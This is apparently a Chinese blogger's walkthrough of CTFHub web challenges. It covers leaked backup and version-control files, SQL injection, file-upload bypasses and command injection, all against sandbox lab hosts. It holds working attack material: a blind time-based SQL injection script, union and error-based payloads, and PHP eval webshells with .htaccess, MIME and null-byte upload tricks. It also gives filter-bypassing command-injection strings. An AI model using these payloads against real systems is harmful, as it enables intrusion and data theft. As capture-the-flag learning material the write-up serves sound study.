直接找就行。。。
进去直接 ctrl+f 搜flag就行。。。
提示一些相关的名字
可以写个简单的脚本爆破一下 当然也可以 dirsearch 直接扫
import requests
url = "http://challenge-c93f188d4781b829.sandbox.ctfhub.com:10080/"
a = ['web','website','backup','back','www','wwwroot','temp']
b = ['tar','tar.gz','zip','rar']
for i in a:
for j in b:
pos = url + i + '.' + j
r = requests.get(pos)
print(i)
print(j)
print(r)
获得源码解压后有个 flag.txt 但是里面不是flag 还有个奇怪的 50x.html 尝试直接访问这个奇怪的 html 没用 直接访问这个 flag.txt 就出了
看到题目就下意识 备份文件后缀是 .bak (linux命名的习惯)
打开网页 提示flag在 flag.php 里 加上后缀 down 下文件 flag就在里面
又是考常识吧 linux下vim的缓存文件后缀是 .tmp 而且是隐藏文件 有个 . 的前缀
.DS_Store 是macos系统下的包含文件目录的文件
真的不知道为什么 不管是 win 还是 linux 都没反应 重装了也不行
Githack 不能用的问题解决了 是脚本的问题 这里感谢一下评论区的师傅
亲测可用的 Githack链接: https://github.com/BugScanTeam/GitHack
相对简单的一题 知识点:
git reset --hard xxxxxxxxxxxxxxx
做这题之前 需要知道 stash 是什么东西
git stash是git一个很有用的命令,它的作用是把当前未提交的修改暂存起来,让仓库还原到最后一次提交的状态。常用于更新、同步代码或者保存多个修改版本等情况下。
个人感觉这篇百度经验写的精简明了
git stash # git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
git stash clear #清除所有的stash条目。
git show stash@{n} #当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容
??? 这题简单地离谱。。。flag就在当前目录下 。。。我还以为是假的呢 那么为啥他是第三题。。。。
使用 dvcs-ripper 工具中的 rip-svn.pl 脚本
脚本使用过程可能会遇到下面类似的很长的报错
install_driver(SQLite) failed: Can’t locate DBD/SQLite.pm
解决方法 强烈建议开靶机前解决这个问题 不然很可能需要多花金币续费靶机
还是上一个脚本库里的 rip-hg.pl
#一定要加 -v 不然 down 不下来的
./rip-hg.pl -v -u http://challenge-365f72206c2c35b5.sandbox.ctfhub.com:10080/.hg/
然后就是文件夹里一顿疯找 但是什么都找不到 但是很多个文件 里面都有关于 flag.txt 的
看到这个就很清楚了 直接访问这个 flag.txt
第一次开靶机真的没有爆出来 真的郁闷 密码是随机的
id从3开始就没有回显 可以在3以后的数注
注得数据库结构如下
数据库还是跟上一题一样 就是搜索方式 从数字变成字符 闭合一下前面的引号就可以了 本题不再赘述
理论上来说你可以直接注 flag 表里的 flag 字段(我就是这么做的 太懒了)
1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
学习的话可以参考这个
靶机续费了两次 亏死了 下面这个图里跑出来的flag是错的 QWQ 最后开第二遍跑出来了
先手测一下 数据库 按出题人尿性都是 sqli 然后 匹配一下 s 看看 再匹配 a 对比一下
用我蹩脚的python(我靶机续费两次的原因之一,QWQ) 写波脚本跑一下
然后完善脚本把 数据表 字段和flag都跑出来 脚本如下
#写脚本水平很低 大神不要喷哈
#使用的话只要稍微改几个参数就行了
import requests
import time
url = "http://challenge-9514b2cf659c25a1.sandbox.ctfhub.com:10080/?id="
des = ""
for k in range(0,1):
print(k)
for i in range(1,60):
for j in 'abcdefghijklmnopqrstuvwxyz}{0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ':
# 数据库
# sql = "if(substr(database(),%d,1)='%s',sleep(1),1) #" %(i,j)
# 数据表
# sql = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,j)
# 字段
# sql = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,j)
# 字段内容
sql = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,j)
t1 = time.time()
r = requests.get(url+sql)
t2 = time.time()
if(t2-t1 > 1):
des += j
print(des)
break
print("des:" + des)
des = ""
就是普通手注就行…为啥它放这么下面…不想写了
算了 sqlmap 跑一波吧 这么多题还没跑过 sqlmap 呢 结果 sqlmap 跑还没手注快…真实…
抓包cookie后面 id后有一串东西像url编码 但是解出来乱码 直接改 id=1 试试
手注发现有两处回显 无任何绕过
注得数据库结构
sqlmap也能跑出来
python sqlmap.py -u “http://challenge-192a33ee430cafd7.sandbox.ctfhub.com:10080/” --cookie “id=1” --dbs
UA注入介绍
我觉得还是一模一样的套路 不想写了…唯一要注意的就是refer头要自己加
ipploqowdc
ozknttspso
ctfhub{5cca896d0b05a1eb8977197827b33b57df87aacb}
php改名字前端上传 抓包改回php 一样的操作连蚁剑 取flag
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
简单来说就是操控服务器让他允许你做事
百度百科链接
.htaccess 利用方法 参考博文
法一
# FileMatch 参数即为文件名的正则匹配
SetHandler application/x-httpd-php
eval($_GET['c']);?>
法二
AddType application/x-httpd-php .jpg
@eval($_GET['ma']);?>
写个 .htaccess 文件 写个 马 后缀改 jpg(你允许的后缀) 然后上传蚁剑连一下就行了
MIME:客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。
简单来说就是从 http 报文判断一下你上传的文件的类型
写个马 Content-Type 字段中的值改成 image/gif 就行了 然后连蚁剑拿flag
画图软件随便弄个图 抓包最后加上马 然后改名 php 蚁剑连上就行
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
PHP<5.3.29,且GPC关闭
传个普通的 temp.php 马上去抓包
修改的地方可以有两个 1.上面地址 2.下面文件名 这里建议改上面的 原因
我下面文件 temp.php 改成 temp.jpg 不然没法上传
上面的地址改的是 ma.php 所以连的时候连 ma.php
这样更容易理解吧
这就不用多讲了吧 题目都告诉你怎么做了 双写后缀就行 不过这个命名稍微有点讲究 稍微注意下就行
可以先试一下 ping 127.0.0.1 然后 列一下目录
127.0.0.1 & ls
可以看到一个纯数字的 php文件 里面绝对就是flag 最后那个 ma.php 是我后来传的
尝试cat一下那个文件 发现被屏蔽了 more tac 等命令全都被屏蔽了 那么问题来了 这题跟第二题 屏蔽cat 有什么区别
可以任意命令执行 直接重定向个马上去 用蚁剑连就可以了
127.0.0.1 & echo “ ma.php
重定向:简单来说就是命令行的输入和输出换个地方输入或者输出 可以直接往文件输出。
跟上一题完全一样 不赘述
过滤空格方法
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
catflag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
这道题目差点让我自闭
#列一下目录
#这里&& 和 || 都可以 照理说 || 是不行的 应该用 &&
127.0.0.1||ls
#cat一下 flagxxxx.php
127.0.0.1||cat<flagxxxx.php
然后我一直自闭在这里明明没有空格 他也正常执行了 为什么返回一个空行呢
反复尝试了无数遍后我无奈地打开wp但是发现wp跟我一样QWQ 原地裂开更加怀疑人生
最后靶机还有 30s 的时候(一定要看源码!!!)
列一下目录
127.0.0.1 || ls
列一下 flag目录
127.0.0.1 || ls flag_is_here
只有一个 flag.php
切换到 flag 目录再cat flag.php
127.0.0.1 || cd flag_is_here&&cat flag_40921853324810.php
列目录 分号类类似于很多编程语言的分号 所以理论上你的所有 php 都可以写在一行里
;ls
然后 cat 一下flag就可以了 感觉这题比前面几题都简单一些
首先尝试了下把分号url编码 不过是没用的 换行符 url 编码 %0a
要直接在地址栏输入不然 % 会被转成url编码 %25 我这里只是演示
%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)
这么长要一个一个转化为十六进制 然后手差点断掉。。。
%0Aca%27%27t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x33\x32\x31\x30\x38\x36\x39\x39\x31\x33\x30\x34\x30\x32\x2e\x70\x68\x70")
上面的全部原理都在下面这张图中